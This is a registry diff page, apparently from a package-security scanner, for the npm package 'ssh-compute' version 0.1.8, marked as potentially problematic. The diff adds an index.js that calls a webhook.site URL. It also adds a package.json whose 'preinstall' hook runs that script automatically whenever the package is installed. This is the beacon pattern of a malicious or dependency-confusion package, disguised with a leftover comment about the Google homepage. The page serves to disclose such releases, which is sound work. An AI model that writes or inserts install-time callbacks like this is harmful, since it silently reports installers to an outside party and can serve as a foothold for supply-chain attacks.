ssh-compute 0.1.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ssh-compute might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +10 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+ var request = require('request');
2
+ request('https://webhook.site/7f0f2252-febb-44ab-8aec-54ea1e31e1cf', function (error, response, body) {
3
+ if (!error && response.statusCode == 200) {
4
+ console.log(body) // Show the HTML for the Google homepage.
5
+ }
6
+ else {
7
+ console.log("Error "+response.statusCode)
8
+ }
9
+ })
10
+
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "ssh-compute",
3
+ "version": "0.1.8",
4
+ "description": "test ssh compute",
5
+ "type": "commonjs",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: on test specified\" && exit 1",
9
+ "preinstall": "node index.js"
10
+ },
11
+ "author": "cimihan",
12
+ "license": "ISC",
13
+ "dependencies": {
14
+ "os": "^0.1.2",
15
+ "request": "^2.88.2"
16
+ }
17
+ }